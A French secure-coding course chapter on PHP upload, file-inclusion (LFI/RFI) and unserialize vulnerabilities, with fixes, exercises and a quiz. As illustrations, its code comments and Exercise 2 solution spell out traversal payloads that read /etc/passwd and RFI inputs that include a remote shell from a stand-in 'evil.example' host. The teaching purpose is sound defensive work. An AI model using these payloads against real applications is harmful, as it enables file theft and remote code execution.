Chapitre 9.2 — Uploads, LFI & désérialisation
⏱️ TL;DR — Trois vecteurs PHP classiques et graves. Uploads : un fichier uploadé mal contrôlé peut être un script exécutable (
.php) déposé dans un dossier servi → RCE. Parades : valider le type réel (pas l’extension déclarée), renommer avec un nom généré, stocker hors de la racine web ou dans un dossier non exécutable. LFI/RFI (Local/Remote File Inclusion) :include/requireavec une entrée permet d’inclure un fichier arbitraire (../../etc/passwd, ou un fichier distant) → fuite ou exécution. Parade : jamais d’entrée dans uninclude; allow-list de pages. Désérialisation :unserialize()sur une entrée peut instancier des objets et déclencher du code (POP chains) → RCE. Parade : ne jamais désérialiser une entrée ; utiliser JSON.
🎯 Objectifs
- Sécuriser les uploads de fichiers (type réel, renommage, stockage, exécution).
- Comprendre et fermer LFI (inclusion locale) et RFI (inclusion distante).
- Comprendre le danger de la désérialisation d’entrée (
unserialize) et l’éviter (JSON). - Reconnaître ces trois vecteurs en revue de code.
Uploads : le fichier qui s’exécute
Accepter des fichiers uploadés (photo de profil, document de cours, devoir rendu) est banal — et risqué. Le pire scénario : un attaquant uploade un fichier .php (un webshell), celui-ci est stocké dans un dossier servi par le serveur web, puis l’attaquant y accède par URL → son code s’exécute sur ton serveur (RCE).
Les erreurs qui rendent ça possible :
- Faire confiance à l’extension ou au
Content-Typedéclaré (tous deux falsifiables) pour décider que « c’est une image ». - Garder le nom d’origine (
shell.php, ouphoto.php.jpgselon la config Apache, ou une traversée../../). - Stocker dans la racine web, dans un dossier où PHP s’exécute.
Les parades, en couches :
// ✅ Valider le TYPE REEL (pas l'extension), renommer, stocker hors racine web
$f = $_FILES['avatar'];
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($f['tmp_name']); // type reel, lu du contenu
$autorises = ['image/jpeg' => 'jpg', 'image/png' => 'png'];
if (!isset($autorises[$mime])) { /* rejeter */ }
$nom = bin2hex(random_bytes(16)) . '.' . $autorises[$mime]; // nom GENERE (CSPRNG), extension controlee
$dest = '/var/app/uploads/' . $nom; // HORS de la racine web servie
move_uploaded_file($f['tmp_name'], $dest);- Valider le type réel via
finfo/getimagesize(analyse du contenu), pas l’extension ni leContent-Typeclient. - Renommer avec un identifiant généré (CSPRNG) + une extension issue de l’allow-list — jamais le nom fourni.
- Stocker hors de la racine web (ou dans un dossier configuré non exécutable — pas d’exécution PHP, via la config serveur) et limiter la taille.
- Servir les fichiers via un contrôleur (avec le bon
Content-TypeetContent-Disposition), ou un dossier statique sans exécution ; poserX-Content-Type-Options: nosniff. - Idéalement, re-traiter les images (ré-encodage) pour casser d’éventuels payloads polyglottes.
⚠️ Piège — Vérifier l’extension ou le
Content-Typede la requête ne prouve rien : l’attaquant les met à ce qu’il veut.photo.jpgpeut être un script PHP ;image/pngpeut coiffer du code. La seule vérification qui compte est le type réel (analyse du contenu), plus — surtout — un stockage non exécutable et un nom généré. Même une « vraie » image peut cacher du code (polyglotte) : ce qui protège vraiment, c’est que le dossier n’exécute pas de PHP.
LFI / RFI : l’inclusion de fichiers
Quand include/require reçoit une entrée utilisateur pour choisir le fichier à charger, on a une faille d’inclusion de fichiers :
// ❌ LFI/RFI : le fichier inclus est choisi par l'utilisateur
$page = $_GET['page'];
include $page . '.php'; // ?page=accueil -> include accueil.php (prevu)
// attaquant : ?page=../../../../etc/passwd%00 (LFI : lire un fichier local)
// attaquant : ?page=http://evil.example/shell (RFI : inclure/executer un fichier distant)- LFI (Local File Inclusion) : l’attaquant fait inclure un fichier local arbitraire via une traversée de répertoire (
../../) — pour lire des fichiers sensibles (/etc/passwd, config,.env) ou, combiné à d’autres astuces (logs empoisonnés, wrappersphp://), exécuter du code. - RFI (Remote File Inclusion) : si la config le permet (
allow_url_include), inclure un fichier distant contrôlé par l’attaquant → RCE directe. Désactivé par défaut sur PHP moderne, mais historiquement dévastateur.
Parade : ne jamais construire un chemin d’include à partir d’une entrée. Si un contenu doit être dynamique, utiliser une allow-list (comme pour le tri SQL, Partie 6) :
// ✅ Allow-list : l'entree ne fait que CHOISIR une page connue
$pages = ['accueil' => 'accueil.php', 'contact' => 'contact.php'];
$fichier = $pages[$_GET['page'] ?? 'accueil'] ?? 'accueil.php';
include __DIR__ . '/pages/' . $fichier; // valeurs 100% controlees par nousLe même risque existe pour toute fonction qui ouvre un fichier avec une entrée (fopen, file_get_contents, readfile, require) : valider et contraindre le chemin (allow-list, basename, vérifier qu’il reste dans le dossier autorisé). C’est aussi le vecteur de la traversée de répertoire (path traversal) lors d’un téléchargement.
Désérialisation : unserialize sur une entrée
La sérialisation transforme un objet en chaîne pour le stocker/transmettre ; la désérialisation fait l’inverse. Le danger : unserialize() de PHP, appliqué à une entrée contrôlée, peut reconstruire des objets arbitraires et déclencher l’exécution de méthodes magiques (__wakeup, __destruct) au moment de la reconstruction. En chaînant des classes présentes dans l’appli (une POP chain / gadget chain), un attaquant peut aboutir à une RCE — sans même que l’appli « utilise » l’objet.
// ❌ Desserialiser une entree : reconstruit des objets arbitraires -> potentielle RCE
$data = unserialize($_COOKIE['prefs']); // DANGER si le cookie est controle par l'attaquant
// ✅ Utiliser un format de DONNEES (pas d'objets) : JSON
$data = json_decode($_COOKIE['prefs'], true); // ne cree pas d'objets, juste des tableaux/scalairesParades :
- Ne jamais
unserialize()une donnée non fiable (cookie, paramètre, entrée réseau). C’est la règle simple et suffisante dans l’immense majorité des cas. - Utiliser un format de données neutre : JSON (
json_decode), qui ne reconstruit pas d’objets ni ne déclenche de code. - Si une désérialisation d’objets est vraiment nécessaire (rare), utiliser un mécanisme sûr (allow-list de classes via l’option
allowed_classesdeunserialize, ou le composant Serializer de Symfony configuré), et signer la donnée (HMAC) pour garantir qu’elle vient de toi.
🎯 Côté attaquant — Sur une appli PHP, l’attaquant cherche : un endpoint d’upload (peut-il déposer un
.phpexécutable ?), un paramètre qui choisit un fichier (?page=,?file=,?template=→ LFI/traversée), et toute donnée sérialisée qu’il contrôle (cookie, champ caché) passée àunserialize(→ POP chain vers RCE). Ces trois vecteurs mènent souvent au contrôle du serveur, bien plus grave qu’une simple fuite. Il teste../, des extensions doubles, des types MIME falsifiés, et injecte des objets sérialisés.
💡 Réflexe — Trois alarmes en revue de code PHP : (1) un
move_uploaded_filesans validation du type réel et sans stockage non exécutable → risque webshell ; (2) une variable d’entrée dansinclude/require/fopen→ LFI/traversée, remplacer par une allow-list ; (3)unserializesur quoi que ce soit venant du client → remplacer parjson_decode. Ces trois motifs sont parmi les plus dangereux du PHP.
🧭 Sur FormaCampus — FormaCampus gère des uploads (avatars, devoirs, ressources de cours). Le pipeline : type réel validé par
finfo(allow-list d’images/PDF/docs), nom généré (CSPRNG), stockage hors racine web (servi par un contrôleur qui poseContent-Dispositionetnosniff), dossier non exécutable, taille limitée, et ré-encodage des images. Aucunincludene dépend d’une entrée (routing Symfony), et aucune donnée client n’est jamais passée àunserialize— les préférences et états transitent en JSON. Ces règles ferment les trois vecteurs qui, sur une EdTech manipulant des fichiers d’utilisateurs, seraient les plus susceptibles de mener à une prise de contrôle du serveur.
✏️ Exercices
Exercice 1 — Sécurise l’upload. Ce code enregistre un avatar. Liste les problèmes et propose un pipeline sûr.
$nom = $_FILES['avatar']['name'];
if (str_ends_with($nom, '.jpg')) {
move_uploaded_file($_FILES['avatar']['tmp_name'], "public/uploads/$nom");
}✅ Solution
Problèmes : (1) la vérification porte sur l’extension du nom fourni (falsifiable ; shell.php.jpg ou config Apache douteuse peut exécuter) — pas sur le type réel ; (2) le nom d’origine est conservé (traversée ../, double extension) ; (3) stockage dans public/ — la racine web, où PHP peut s’exécuter → webshell. Pipeline sûr : valider le type réel via finfo/getimagesize (allow-list image/jpeg, image/png), générer un nom aléatoire (bin2hex(random_bytes(16)) + extension de l’allow-list), stocker hors racine web (ou dossier non exécutable), limiter la taille, servir via un contrôleur avec nosniff, et ré-encoder l’image. Ainsi, même un fichier piégé ne peut pas être exécuté.
Exercice 2 — LFI. Explique l’exploitation de include $_GET['tpl'] . '.php' et corrige avec une allow-list.
✅ Solution
Exploitation : l’attaquant contrôle le fichier inclus. En LFI, ?tpl=../../../../etc/passwd%00 (ou via wrappers php://filter, data://) permet de lire des fichiers sensibles ou d’exécuter du code (logs empoisonnés). Si allow_url_include est actif, ?tpl=http://evil.example/shell (RFI) inclut et exécute un fichier distant → RCE. Correctif : ne jamais mettre une entrée dans include. Utiliser une allow-list : $tpls = ['accueil' => 'accueil.php', 'profil' => 'profil.php']; $f = $tpls[$_GET['tpl'] ?? 'accueil'] ?? 'accueil.php'; include __DIR__.'/tpl/'.$f;. L’entrée ne fait que choisir une clé d’un dictionnaire de fichiers que nous contrôlons — aucune traversée ni inclusion arbitraire possible.
🧠 Quiz de révision
1. Pourquoi vérifier l’extension d’un upload ne suffit-il pas ?
Parce que l’extension (et le Content-Type de la requête) sont falsifiables : photo.jpg peut être un script PHP. Il faut valider le type réel (analyse du contenu via finfo), renommer avec un nom généré, et surtout stocker dans un dossier non exécutable / hors racine web pour empêcher l’exécution.
2. Quelle est la conséquence la plus grave d’un upload mal contrôlé ?
Le dépôt d’un webshell (.php) dans un dossier servi et exécutable, accessible par URL → exécution de code sur le serveur (RCE) : prise de contrôle. Bien plus grave qu’une simple fuite.
3. Différence entre LFI et RFI ?
LFI (Local File Inclusion) : inclure un fichier local arbitraire via une traversée (../) → lecture de fichiers sensibles, parfois exécution. RFI (Remote File Inclusion) : inclure un fichier distant contrôlé par l’attaquant → RCE directe (nécessite allow_url_include, désactivé par défaut aujourd’hui). Parade commune : jamais d’entrée dans include, allow-list.
4. Pourquoi unserialize sur une entrée est-il dangereux ?
unserialize sur une entrée est-il dangereux ?Parce qu’il reconstruit des objets arbitraires et peut déclencher des méthodes magiques (__wakeup, __destruct) ; en chaînant des classes de l’appli (POP chain), un attaquant peut obtenir une RCE — sans même que l’objet soit « utilisé ». Parade : ne jamais désérialiser une entrée ; utiliser JSON (json_decode).
5. Quels trois motifs de code PHP doivent déclencher une alarme ?
(1) move_uploaded_file sans validation du type réel / stockage exécutable ; (2) une entrée dans include/require/fopen (LFI/traversée) ; (3) unserialize sur une donnée client. Les trois peuvent mener à une prise de contrôle du serveur.
Chapitre suivant : Symfony : firewalls & auth — on passe au framework : le composant Security, les firewalls et les authenticators, pour une authentification robuste et secure by default.